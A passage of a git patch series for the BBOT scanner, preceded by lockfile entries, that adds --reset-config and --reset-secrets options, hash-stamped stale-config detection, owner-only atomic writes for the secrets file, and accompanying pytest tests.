"https://files.pythonhosted.org/packages/63/42/1e3e4c68bd408b9768cf3e439acbe2c78245225faef253f7028a0cdb63e0/ruff-0.15.18-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01a754cd6a1b630d3f97e33eb452cf7a98040482318e870f8bc52a5a30e62657", size = 11491458, upload-time = "2026-06-18T18:25:20.275Z" }, + { url = "https://files.pythonhosted.org/packages/20/77/47a3484bea8521e14a203d98c389c5c97846675e4f02734672da4a69b52a/ruff-0.15.18-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ba7a07e03a44dbf10bb086ee06705b173625014ec99f73a7e6836a5e5590a0c", size = 12383752, upload-time = "2026-06-18T18:25:22.535Z" }, + { url = "https://files.pythonhosted.org/packages/0a/ca/054159590787023d83b658a1a1819c4c8910114e7015069340b71c0961cb/ruff-0.15.18-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a2c40a41a4cadbcf5897b548ab29dfe248b20c540961c0247d98a3973c70403", size = 11577923, upload-time = "2026-06-18T18:25:10.702Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ff/d353d6b7bbd73cc0ec37f4463d7540e45e894338abdd9964eee0de332708/ruff-0.15.18-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f0480ce690cbb6c4db6e5d08f19fce98e10ba131a8b60c1bcdac42771e3ae2d", size = 11583925, upload-time = "2026-06-18T18:25:32.391Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4a/891f89b9c296ed3e5f3ece1a5629badc989d9a8fdaa30431aaf4774bc1c2/ruff-0.15.18-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2330215f1f393fa8733f55edce04fcf94c36a2c460fcde31f78cc84e4951e9b1", size = 11582834, upload-time = "2026-06-18T18:25:27.309Z" }, + { url = "https://files.pythonhosted.org/packages/32/a3/ed9e370154bf85de360b93c03026157f02d4943b2d01ff4945f4429f8e8a/ruff-0.15.18-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a6aa6a3d979e48ae617578183674bf264fbe7d0114a796a26bd678d67963c7ff", size = 10927328, upload-time = "2026-06-18T18:25:34.676Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d1/5cf5909329fedb5d39d555ee818ba5cf4638e1a301b89785d34f2905bfcb/ruff-0.15.18-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a81beadbbff2c9c245561ae3f77b16709d87f35eec650d0501679239d3449b22", size = 10693187, upload-time = "2026-06-18T18:25:08.245Z" }, + { url = "https://files.pythonhosted.org/packages/fd/44/ff6c635cf2c4f4e7b618b6640da057376baa36014695487d88aed4794268/ruff-0.15.18-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2186d9e940ae332ab293623a75b5f4fe49565f449954d50a72a046683aa6b809", size = 11208721, upload-time = "2026-06-18T18:25:41.327Z" }, + { url = "https://files.pythonhosted.org/packages/88/d9/5baa2a30861adfb7022cf33c1e35b2fc18085b08c16f83eff4c7b99a5f48/ruff-0.15.18-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5c2abf140438032bc77b2284a6c9944ecd8a19e5f1c7b52b1b8e4a0a80d19a7a", size = 11678599, upload-time = "2026-06-18T18:25:13.607Z" }, + { url = "https://files.pythonhosted.org/packages/c3/1a/0725a7cfdc32ff769efb96ee782bec882e16448c5d9e3be947ec4c04ce27/ruff-0.15.18-py3-none-win32.whl", hash = "sha256:02299e6e9fa5b297a3f6d5d10d7bcd655c925b028bb8b9d4588214549c6b9ec4", size = 10901903, upload-time = "2026-06-18T18:25:24.755Z" }, + { url = "https://files.pythonhosted.org/packages/f3/51/805d9f6fb7970505c3504794a5ec350f605361b807fef4dcf214ebd35e72/ruff-0.15.18-py3-none-win_amd64.whl", hash = "sha256:dac80dc8d26b2257dbefabed62f5d255c3937b4ccb122da1fc634794fa3578b3", size = 12041189, upload-time = "2026-06-18T18:25:17.915Z" }, + { url = "https://files.pythonhosted.org/packages/29/4c/67bb45e41609eb4726f1bfeb59e083cf91d14c696d4bd14c234a980be93d/ruff-0.15.18-py3-none-win_arm64.whl", hash = "sha256:b2c9257fcbd4a3e5b977a1904e6facca016bafe2edc17df24db67cfaee03b4e4", size = 11329958, upload-time = "2026-06-18T18:25:43.686Z" }, ] [[package]] From ec7527a1e057d12018b9254fca212270d8a452c0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 12:27:23 -0400 Subject: [PATCH 893/912] Add --reset-config and stale-config detection Stamp generated config files with a hash of the option set; warn when a config predates or no longer matches it. `bbot --reset-config` regenerates from current defaults (confirmation required, backs up to .bak). Also isolate the config dir under a temp dir during tests so the suite never touches the user's real ~/.config/bbot. --- bbot/cli.py | 38 ++++++++ bbot/core/config/files.py | 34 +++++++- bbot/core/modules.py | 121 ++++++++++++++++++++++---- bbot/scanner/preset/args.py | 5 ++ bbot/test/test_step_1/test_presets.py | 69 +++++++++++++++ 5 files changed, 246 insertions(+), 21 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 2ebe9046e3..6afd9e6349 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -68,6 +68,14 @@ async def _main(): # that don't construct a full Scanner. preset.apply_log_level(apply_core=True) + # warn (once) if the on-disk config predates / doesn't match the current option set + if not options.reset_config and preset.module_loader.config_is_stale(): + log.warning( + f"Your BBOT config at {preset.core.files_config.config_filename} was generated with an " + "older version of bbot with different settings. Run `bbot --reset-config` to regenerate it " + "from current defaults." + ) + # print help if no arguments if len(sys.argv) == 1: print(preset.args.parser.format_help()) @@ -80,6 +88,36 @@ async def _main(): sys.exit(0) return + # --reset-config + if options.reset_config: + files = preset.core.files_config + log.hugewarning( + "Resetting your BBOT config to current defaults. Any settings you have customized " + "(uncommented) WILL BE WIPED OUT." + ) + log.warning(f"Files to reset: {files.config_filename} , {files.secrets_filename}") + log.warning("A backup of each existing file will be saved with a .bak extension.") + try: + stdin_is_tty = sys.stdin.isatty() + except (ValueError, io.UnsupportedOperation): + stdin_is_tty = False + if not options.yes: + if not stdin_is_tty: + log.error("Refusing to reset config without confirmation; re-run with --yes to proceed.") + sys.exit(1) + return + answer = input("Continue? [y/N] ").strip().lower() + if answer not in ("y", "yes"): + log.info("Aborted. No changes made.") + sys.exit(0) + return + backups = preset.module_loader.reset_config_files() + log.success(f"Reset BBOT config at {files.config_filename}") + for b in backups: + log.info(f"Backup saved: {b}") + sys.exit(0) + return + # --list-presets if options.list_presets: print("") diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py index 7df234ad1b..bf04591132 100644 --- a/bbot/core/config/files.py +++ b/bbot/core/config/files.py @@ -1,5 +1,9 @@ +import os import sys import yaml +import atexit +import shutil +import tempfile from pathlib import Path from .merge import deep_merge @@ -9,15 +13,39 @@ bbot_code_dir = Path(__file__).parent.parent.parent +# cached per-process so every BBOTConfigFiles in a run resolves to the same dir +_test_config_dir = None + + +def isolated_test_config_dir(): + """A throwaway config dir for tests, so we never read or write the user's + real ~/.config/bbot. It's created fresh per run (so previous or concurrent + runs can't interfere) and shared across the run's processes via an env var + so spawned children resolve to the same dir.""" + global _test_config_dir + if _test_config_dir is None: + env_dir = os.environ.get("BBOT_TEST_CONFIG_DIR") + if env_dir: + _test_config_dir = Path(env_dir) + else: + _test_config_dir = Path(tempfile.mkdtemp(prefix="bbot_test_config_")) + os.environ["BBOT_TEST_CONFIG_DIR"] = str(_test_config_dir) + atexit.register(lambda: shutil.rmtree(_test_config_dir, ignore_errors=True)) + return _test_config_dir + class BBOTConfigFiles: - config_dir = (Path.home() / ".config" / "bbot").resolve() defaults_filename = (bbot_code_dir / "defaults.yml").resolve() - config_filename = (config_dir / "bbot.yml").resolve() - secrets_filename = (config_dir / "secrets.yml").resolve() def __init__(self, core): self.core = core + if os.environ.get("BBOT_TESTING", "") == "True": + base_dir = isolated_test_config_dir() + else: + base_dir = Path.home() / ".config" / "bbot" + self.config_dir = base_dir.resolve() + self.config_filename = (self.config_dir / "bbot.yml").resolve() + self.secrets_filename = (self.config_dir / "secrets.yml").resolve() def _get_config(self, filename, name="config") -> dict: filename = Path(filename).resolve() diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 233fc87608..8b3fc35590 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -3,7 +3,9 @@ import sys import yaml import atexit +import shutil import pickle +import hashlib import logging import importlib import traceback @@ -1059,35 +1061,118 @@ def filter_modules(self, modules=None, mod_type=None): module_list.sort(key=lambda x: x[-1]["type"], reverse=True) return module_list + # header line that stamps the option set a config file was generated against + _config_hash_prefix = "bbot-config-hash: " + def ensure_config_files(self): + """Create the user's `bbot.yml` / `secrets.yml` if missing. + + The generated files are a fully-commented snapshot of the current + defaults, written once and never overwritten. Each one carries a hash + of the current option key-paths in its header, so a later run can tell + (via `config_is_stale`) whether the options have since changed. + """ files = self.core.files_config mkdir(files.config_dir) - comment_notice = ( - "# NOTICE: THESE ENTRIES ARE COMMENTED BY DEFAULT\n" - + "# Please be sure to uncomment when inserting API keys, etc.\n" - ) - config_obj = dict(self.core.default_config) + schema_hash = self._config_schema_hash(config_obj) - # ensure bbot.yml if not files.config_filename.exists(): log_to_stderr(f"Creating BBOT config at {files.config_filename}") - no_secrets_config = self.core.no_secrets_config(config_obj) - yaml_str = yaml.dump(no_secrets_config, sort_keys=False) - yaml_str = comment_notice + "\n".join(f"# {line}" for line in yaml_str.splitlines()) - with open(str(files.config_filename), "w") as f: - f.write(yaml_str) - - # ensure secrets.yml + self._write_config_template(files.config_filename, self.core.no_secrets_config(config_obj), schema_hash) if not files.secrets_filename.exists(): log_to_stderr(f"Creating BBOT secrets at {files.secrets_filename}") - secrets_only_config = self.core.secrets_only_config(config_obj) - yaml_str = yaml.dump(secrets_only_config, sort_keys=False) - yaml_str = comment_notice + "\n".join(f"# {line}" for line in yaml_str.splitlines()) - with open(str(files.secrets_filename), "w") as f: - f.write(yaml_str) + self._write_config_template(files.secrets_filename, self.core.secrets_only_config(config_obj), schema_hash) files.secrets_filename.chmod(0o600) + def config_is_stale(self): + """True if the user's config exists but was generated against a different + option set, or predates option-set stamping (no stamp in its header). + False for a config that doesn't exist yet or matches the current set. + """ + if not self.core.files_config.config_filename.exists(): + return False + stored_hash = self._read_config_hash(self.core.files_config.config_filename) + if stored_hash is None: + return True + return stored_hash != self._config_schema_hash(dict(self.core.default_config)) + + def reset_config_files(self): + """Regenerate `bbot.yml` / `secrets.yml` from the current defaults, + backing up any existing files to `*.bak`. Returns the backup paths. + + Destructive: the regenerated files are a fresh commented template, so + any options the user uncommented are not carried over. + """ + files = self.core.files_config + mkdir(files.config_dir) + config_obj = dict(self.core.default_config) + schema_hash = self._config_schema_hash(config_obj) + + backups = [] + for path in (files.config_filename, files.secrets_filename): + if path.exists(): + backup = self._next_backup_path(path) + shutil.copy2(path, backup) + backups.append(backup) + + self._write_config_template(files.config_filename, self.core.no_secrets_config(config_obj), schema_hash) + self._write_config_template(files.secrets_filename, self.core.secrets_only_config(config_obj), schema_hash) + files.secrets_filename.chmod(0o600) + return backups + + @staticmethod + def _next_backup_path(path): + """First free `.bak`, `.bak.1`, `.bak.2`, ... so an + existing backup from a previous reset isn't clobbered.""" + backup = path.with_name(path.name + ".bak") + i = 1 + while backup.exists(): + backup = path.with_name(f"{path.name}.bak.{i}") + i += 1 + return backup + + @classmethod + def _read_config_hash(cls, path): + """Read the option-set stamp from a config file's header, or None if it + has no stamp (e.g. a config generated before stamping existed).""" + marker = f"# {cls._config_hash_prefix}" + with open(path) as f: + for line in f: + if line.startswith(marker): + return line[len(marker) :].strip() + return None + + @classmethod + def _write_config_template(cls, path, config_dict, schema_hash): + header = ( + "# NOTICE: THESE ENTRIES ARE COMMENTED BY DEFAULT\n" + "# Please be sure to uncomment when inserting API keys, etc.\n" + f"# {cls._config_hash_prefix}{schema_hash}\n" + ) + yaml_str = yaml.dump(config_dict, sort_keys=False) + yaml_str = header + "\n".join(f"# {line}" for line in yaml_str.splitlines()) + with open(str(path), "w") as f: + f.write(yaml_str) + + @classmethod + def _config_schema_hash(cls, config_obj): + """Hash the set of option key-paths (not their values), so the stamp + only changes when options are added, removed, or renamed.""" + paths = "\n".join(sorted(cls._config_leaf_paths(config_obj))) + return hashlib.sha256(paths.encode()).hexdigest() + + @classmethod + def _config_leaf_paths(cls, config_obj, prefix=""): + paths = [] + for key, value in config_obj.items(): + path = f"{prefix}{key}" + if isinstance(value, dict) and value: + paths.extend(cls._config_leaf_paths(value, prefix=f"{path}.")) + else: + paths.append(path) + return paths + MODULE_LOADER = ModuleLoader() diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 450282a479..1368c45eb5 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -411,6 +411,11 @@ def create_parser(self, *args, **kwargs): misc = p.add_argument_group(title="Misc") misc.add_argument("--version", action="store_true", help="show BBOT version and exit") + misc.add_argument( + "--reset-config", + action="store_true", + help="Regenerate config files from current defaults (overwrites; backs up to .bak)", + ) misc.add_argument("--proxy", help="Use this proxy for all HTTP requests", metavar="HTTP_PROXY") misc.add_argument( "--no-proxy", diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 4c4d0c0377..bd77a6808b 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1,3 +1,5 @@ +import tempfile + from ..bbot_fixtures import * # noqa F401 from bbot.scanner import Scanner, Preset @@ -1446,3 +1448,70 @@ def test_all_presets_ignores_non_preset_yaml(tmp_path): preset_mod.DEFAULT_PRESETS = orig_default_presets preset_mod.PRESET_PATH = orig_preset_path path_mod.PRESET_PATH = orig_path_singleton + + +def test_config_isolated_during_tests(): + # the suite must never resolve to the user's real ~/.config/bbot + from bbot.core import CORE + + config_dir = CORE.files_config.config_dir + real_config_dir = (Path.home() / ".config" / "bbot").resolve() + assert config_dir != real_config_dir + assert str(config_dir).startswith(str(Path(tempfile.gettempdir()).resolve())) + + +def test_config_reset_and_staleness(tmp_path, monkeypatch): + from bbot.core import CORE + from bbot.core.modules import MODULE_LOADER + + files = CORE.files_config + monkeypatch.setattr(files, "config_dir", tmp_path) + monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") + monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") + config_file = tmp_path / "bbot.yml" + + current = MODULE_LOADER._config_schema_hash(dict(CORE.default_config)) + + # no config on disk yet -> not stale + assert MODULE_LOADER.config_is_stale() is False + + # first run: files don't exist -> generated, hash stamped in the header + MODULE_LOADER.ensure_config_files() + assert config_file.is_file() + assert (tmp_path / "secrets.yml").is_file() + assert f"# bbot-config-hash: {current}" in config_file.read_text() + assert MODULE_LOADER._read_config_hash(config_file) == current + assert MODULE_LOADER.config_is_stale() is False + + # a pre-stamp (2.x) config has no header stamp -> stale + config_file.write_text("# NOTICE\n# scope:\n# strict: false\n") + assert MODULE_LOADER._read_config_hash(config_file) is None + assert MODULE_LOADER.config_is_stale() is True + # a changed option set -> stale + config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") + assert MODULE_LOADER.config_is_stale() is True + + # reset: backs up existing files, regenerates, restamps + backups = MODULE_LOADER.reset_config_files() + assert set(backups) == {tmp_path / "bbot.yml.bak", tmp_path / "secrets.yml.bak"} + assert MODULE_LOADER._read_config_hash(config_file) == current + assert MODULE_LOADER.config_is_stale() is False + + # a second reset must not clobber the first backup + backups2 = MODULE_LOADER.reset_config_files() + assert set(backups2) == {tmp_path / "bbot.yml.bak.1", tmp_path / "secrets.yml.bak.1"} + assert (tmp_path / "bbot.yml.bak").is_file() + + +def test_config_schema_hash_is_structural(): + from bbot.core.modules import MODULE_LOADER + + base = {"web": {"http_timeout": 10}, "scope": {"strict": False}} + # value changes don't move the hash + assert MODULE_LOADER._config_schema_hash(base) == MODULE_LOADER._config_schema_hash( + {"web": {"http_timeout": 99}, "scope": {"strict": True}} + ) + # a renamed/added/removed option does + assert MODULE_LOADER._config_schema_hash(base) != MODULE_LOADER._config_schema_hash( + {"web": {"http_timeout_target": 10}, "scope": {"strict": False}} + ) From fb4dacaa72fbd9c3aa80cd5eecbebb6dd2e82e60 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 12:53:30 -0400 Subject: [PATCH 894/912] Make config/secrets reset independent; harden secrets writes Per-file hash stamps and staleness detection; --reset-secrets regenerates secrets.yml on its own so --reset-config never disturbs API keys. Secrets are written owner-only atomically, preserving any hardened perms, and refused if owner-only can't be guaranteed. --- bbot/cli.py | 40 ++++--- bbot/core/modules.py | 150 +++++++++++++++++--------- bbot/scanner/preset/args.py | 7 +- bbot/test/test_step_1/test_cli.py | 54 ++++++++++ bbot/test/test_step_1/test_presets.py | 134 ++++++++++++++++++----- 5 files changed, 299 insertions(+), 86 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 6afd9e6349..df4adbc368 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -68,12 +68,21 @@ async def _main(): # that don't construct a full Scanner. preset.apply_log_level(apply_core=True) - # warn (once) if the on-disk config predates / doesn't match the current option set - if not options.reset_config and preset.module_loader.config_is_stale(): + # which generated config files the user is regenerating this run + reset_labels = [ + label + for label, requested in (("config", options.reset_config), ("secrets", options.reset_secrets)) + if requested + ] + + # warn (once) about any generated config file that predates / no longer + # matches the current option set -- but not one we're about to reset + for spec in preset.module_loader.stale_config_files(): + if spec["label"] in reset_labels: + continue log.warning( - f"Your BBOT config at {preset.core.files_config.config_filename} was generated with an " - "older version of bbot with different settings. Run `bbot --reset-config` to regenerate it " - "from current defaults." + f"Your BBOT {spec['label']} at {spec['path']} was generated with an older version of bbot " + f"with different settings. Run `bbot {spec['reset_flag']}` to regenerate it from current defaults." ) # print help if no arguments @@ -88,14 +97,19 @@ async def _main(): sys.exit(0) return - # --reset-config - if options.reset_config: - files = preset.core.files_config + # --reset-config / --reset-secrets + if reset_labels: + reset_paths = [ + spec["path"] + for spec in preset.module_loader._generated_config_files() + if spec["label"] in reset_labels + ] log.hugewarning( - "Resetting your BBOT config to current defaults. Any settings you have customized " - "(uncommented) WILL BE WIPED OUT." + "Regenerating from current defaults. Any settings you have customized " + "(uncommented) in these files WILL BE WIPED OUT:" ) - log.warning(f"Files to reset: {files.config_filename} , {files.secrets_filename}") + for p in reset_paths: + log.warning(f" {p}") log.warning("A backup of each existing file will be saved with a .bak extension.") try: stdin_is_tty = sys.stdin.isatty() @@ -111,8 +125,8 @@ async def _main(): log.info("Aborted. No changes made.") sys.exit(0) return - backups = preset.module_loader.reset_config_files() - log.success(f"Reset BBOT config at {files.config_filename}") + backups = preset.module_loader.reset_config_files(reset_labels) + log.success("Regenerated config files from current defaults.") for b in backups: log.info(f"Backup saved: {b}") sys.exit(0) diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 8b3fc35590..216bd8915a 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -1,12 +1,15 @@ +import os import re import ast import sys +import stat import yaml import atexit import shutil import pickle import hashlib import logging +import tempfile import importlib import traceback from copy import copy @@ -1064,62 +1067,82 @@ def filter_modules(self, modules=None, mod_type=None): # header line that stamps the option set a config file was generated against _config_hash_prefix = "bbot-config-hash: " - def ensure_config_files(self): - """Create the user's `bbot.yml` / `secrets.yml` if missing. + def _generated_config_files(self): + """The config files BBOT generates, each paired with the content it + should currently hold and the CLI flag that regenerates it. - The generated files are a fully-commented snapshot of the current - defaults, written once and never overwritten. Each one carries a hash - of the current option key-paths in its header, so a later run can tell - (via `config_is_stale`) whether the options have since changed. + Creation, staleness detection, and reset all iterate this list, so the + two files stay fully independent: a `secrets.yml` full of API keys is + never touched just because `bbot.yml`'s options changed, and vice versa. """ files = self.core.files_config - mkdir(files.config_dir) - config_obj = dict(self.core.default_config) - schema_hash = self._config_schema_hash(config_obj) - - if not files.config_filename.exists(): - log_to_stderr(f"Creating BBOT config at {files.config_filename}") - self._write_config_template(files.config_filename, self.core.no_secrets_config(config_obj), schema_hash) - if not files.secrets_filename.exists(): - log_to_stderr(f"Creating BBOT secrets at {files.secrets_filename}") - self._write_config_template(files.secrets_filename, self.core.secrets_only_config(config_obj), schema_hash) - files.secrets_filename.chmod(0o600) - - def config_is_stale(self): - """True if the user's config exists but was generated against a different - option set, or predates option-set stamping (no stamp in its header). - False for a config that doesn't exist yet or matches the current set. - """ - if not self.core.files_config.config_filename.exists(): - return False - stored_hash = self._read_config_hash(self.core.files_config.config_filename) - if stored_hash is None: - return True - return stored_hash != self._config_schema_hash(dict(self.core.default_config)) + return [ + { + "label": "config", + "path": files.config_filename, + "content": self.core.no_secrets_config(config_obj), + "secret": False, + "reset_flag": "--reset-config", + }, + { + "label": "secrets", + "path": files.secrets_filename, + "content": self.core.secrets_only_config(config_obj), + "secret": True, + "reset_flag": "--reset-secrets", + }, + ] - def reset_config_files(self): - """Regenerate `bbot.yml` / `secrets.yml` from the current defaults, - backing up any existing files to `*.bak`. Returns the backup paths. + def ensure_config_files(self): + """Create any of the user's generated config files that are missing. - Destructive: the regenerated files are a fresh commented template, so - any options the user uncommented are not carried over. + Each file is a fully-commented snapshot of the current defaults, + written once and never overwritten, carrying a hash of its own option + key-paths in its header so a later run can tell (via + `stale_config_files`) whether that file's options have since changed. """ - files = self.core.files_config - mkdir(files.config_dir) - config_obj = dict(self.core.default_config) - schema_hash = self._config_schema_hash(config_obj) - + mkdir(self.core.files_config.config_dir) + for spec in self._generated_config_files(): + if not spec["path"].exists(): + log_to_stderr(f"Creating BBOT {spec['label']} at {spec['path']}") + self._write_config_template(spec["path"], spec["content"], secret=spec["secret"]) + + def stale_config_files(self): + """Generated config files that exist but were stamped against a + different option set, or predate stamping (no header stamp). Each + returned spec includes the file path and the CLI flag that regenerates + just that file.""" + stale = [] + for spec in self._generated_config_files(): + if not spec["path"].exists(): + continue + stored_hash = self._read_config_hash(spec["path"]) + if stored_hash is None or stored_hash != self._config_schema_hash(spec["content"]): + stale.append(spec) + return stale + + def reset_config_files(self, labels): + """Regenerate the named generated config files (`"config"` and/or + `"secrets"`) from current defaults, backing up existing files to + `*.bak`. Returns the backup paths. + + Destructive: a regenerated file is a fresh commented template, so any + options the user uncommented in it are not carried over. + """ + mkdir(self.core.files_config.config_dir) backups = [] - for path in (files.config_filename, files.secrets_filename): + for spec in self._generated_config_files(): + if spec["label"] not in labels: + continue + path = spec["path"] if path.exists(): backup = self._next_backup_path(path) + # copy2 preserves the file's permissions, so a backup of a + # hardened secrets.yml stays just as locked-down shutil.copy2(path, backup) backups.append(backup) - - self._write_config_template(files.config_filename, self.core.no_secrets_config(config_obj), schema_hash) - self._write_config_template(files.secrets_filename, self.core.secrets_only_config(config_obj), schema_hash) - files.secrets_filename.chmod(0o600) + self._write_config_template(path, spec["content"], secret=spec["secret"]) return backups @staticmethod @@ -1145,16 +1168,47 @@ def _read_config_hash(cls, path): return None @classmethod - def _write_config_template(cls, path, config_dict, schema_hash): + def _write_config_template(cls, path, config_dict, secret=False): header = ( "# NOTICE: THESE ENTRIES ARE COMMENTED BY DEFAULT\n" "# Please be sure to uncomment when inserting API keys, etc.\n" - f"# {cls._config_hash_prefix}{schema_hash}\n" + f"# {cls._config_hash_prefix}{cls._config_schema_hash(config_dict)}\n" ) yaml_str = yaml.dump(config_dict, sort_keys=False) yaml_str = header + "\n".join(f"# {line}" for line in yaml_str.splitlines()) - with open(str(path), "w") as f: - f.write(yaml_str) + if secret: + cls._write_secret_text(path, yaml_str) + else: + with open(str(path), "w") as f: + f.write(yaml_str) + + @staticmethod + def _write_secret_text(path, text): + """Write a secrets file so it is never readable by anyone but the owner, + even for an instant. The content is written to a private temp file + (mkstemp creates it 0600) and atomically renamed into place; an existing + file's own permissions are preserved in case the user hardened them + further (e.g. 0400). If owner-only permissions can't be guaranteed, the + secret is not written.""" + path = Path(path) + mode = 0o600 + with suppress(FileNotFoundError): + existing_mode = stat.S_IMODE(path.stat().st_mode) + # keep the user's perms only if they're already owner-only + if not existing_mode & 0o077: + mode = existing_mode + fd, tmp = tempfile.mkstemp(dir=str(path.parent), prefix=f".{path.name}.", suffix=".tmp") + try: + os.fchmod(fd, mode) + with os.fdopen(fd, "w") as f: + f.write(text) + if stat.S_IMODE(os.stat(tmp).st_mode) & 0o077: + raise BBOTError(f"Refusing to write secrets to {path}: could not restrict permissions to owner-only") + os.replace(tmp, str(path)) + except BaseException: + with suppress(FileNotFoundError): + os.unlink(tmp) + raise @classmethod def _config_schema_hash(cls, config_obj): diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 1368c45eb5..b5a242e6bb 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -414,7 +414,12 @@ def create_parser(self, *args, **kwargs): misc.add_argument( "--reset-config", action="store_true", - help="Regenerate config files from current defaults (overwrites; backs up to .bak)", + help="Regenerate bbot.yml from current defaults (overwrites; backs up to .bak)", + ) + misc.add_argument( + "--reset-secrets", + action="store_true", + help="Regenerate secrets.yml from current defaults (overwrites; backs up to .bak)", ) misc.add_argument("--proxy", help="Use this proxy for all HTTP requests", metavar="HTTP_PROXY") misc.add_argument( diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 9979083a1f..e175725522 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -1,3 +1,4 @@ +import stat import yaml from ..bbot_fixtures import * @@ -919,3 +920,56 @@ async def test_cli_no_color(monkeypatch): preset = Preset() preset.parse_args() assert os.environ.get("NO_COLOR") == "1" + + +@pytest.mark.asyncio +async def test_cli_reset_config(monkeypatch, caplog, tmp_path): + from bbot.core import CORE + from bbot.core.modules import MODULE_LOADER + + monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) + monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) + caplog.set_level(logging.INFO) + + files = CORE.files_config + monkeypatch.setattr(files, "config_dir", tmp_path) + monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") + monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") + config_file = tmp_path / "bbot.yml" + secrets_file = tmp_path / "secrets.yml" + + config_hash = MODULE_LOADER._config_schema_hash(CORE.no_secrets_config(dict(CORE.default_config))) + + # a stale bbot.yml on disk (wrong stamp) + config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") + + # a normal run warns about the stale file and names its reset flag + monkeypatch.setattr("sys.argv", ["bbot", "--version"]) + caplog.clear() + await cli._main() + assert "was generated with an older version of bbot" in caplog.text + assert "--reset-config" in caplog.text + + # without --yes and no TTY, it refuses and changes nothing + monkeypatch.setattr("sys.argv", ["bbot", "--reset-config"]) + caplog.clear() + await cli._main() + assert "Refusing to reset config without confirmation" in caplog.text + assert not (tmp_path / "bbot.yml.bak").exists() + assert MODULE_LOADER._read_config_hash(config_file) == "deadbeef" + + # --reset-config -y regenerates bbot.yml and backs it up, but never touches secrets.yml + monkeypatch.setattr("sys.argv", ["bbot", "--reset-config", "-y"]) + caplog.clear() + await cli._main() + assert "Regenerated config files" in caplog.text + assert (tmp_path / "bbot.yml.bak").is_file() + assert MODULE_LOADER._read_config_hash(config_file) == config_hash + assert not (tmp_path / "secrets.yml.bak").exists() + + # --reset-secrets -y regenerates secrets.yml (owner-only) and backs it up + monkeypatch.setattr("sys.argv", ["bbot", "--reset-secrets", "-y"]) + caplog.clear() + await cli._main() + assert (tmp_path / "secrets.yml.bak").is_file() + assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0 diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index bd77a6808b..8ab8c7ce93 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1,3 +1,4 @@ +import stat import tempfile from ..bbot_fixtures import * # noqa F401 @@ -1460,6 +1461,10 @@ def test_config_isolated_during_tests(): assert str(config_dir).startswith(str(Path(tempfile.gettempdir()).resolve())) +def _stale_labels(module_loader): + return {spec["label"] for spec in module_loader.stale_config_files()} + + def test_config_reset_and_staleness(tmp_path, monkeypatch): from bbot.core import CORE from bbot.core.modules import MODULE_LOADER @@ -1469,38 +1474,52 @@ def test_config_reset_and_staleness(tmp_path, monkeypatch): monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") config_file = tmp_path / "bbot.yml" + secrets_file = tmp_path / "secrets.yml" - current = MODULE_LOADER._config_schema_hash(dict(CORE.default_config)) + # the two files are stamped with independent, different hashes + config_hash = MODULE_LOADER._config_schema_hash(CORE.no_secrets_config(dict(CORE.default_config))) + secrets_hash = MODULE_LOADER._config_schema_hash(CORE.secrets_only_config(dict(CORE.default_config))) + assert config_hash != secrets_hash - # no config on disk yet -> not stale - assert MODULE_LOADER.config_is_stale() is False + # no config on disk yet -> nothing stale + assert _stale_labels(MODULE_LOADER) == set() - # first run: files don't exist -> generated, hash stamped in the header + # first run: files don't exist -> generated, each stamped with its own hash MODULE_LOADER.ensure_config_files() - assert config_file.is_file() - assert (tmp_path / "secrets.yml").is_file() - assert f"# bbot-config-hash: {current}" in config_file.read_text() - assert MODULE_LOADER._read_config_hash(config_file) == current - assert MODULE_LOADER.config_is_stale() is False - - # a pre-stamp (2.x) config has no header stamp -> stale + assert config_file.is_file() and secrets_file.is_file() + assert MODULE_LOADER._read_config_hash(config_file) == config_hash + assert MODULE_LOADER._read_config_hash(secrets_file) == secrets_hash + assert 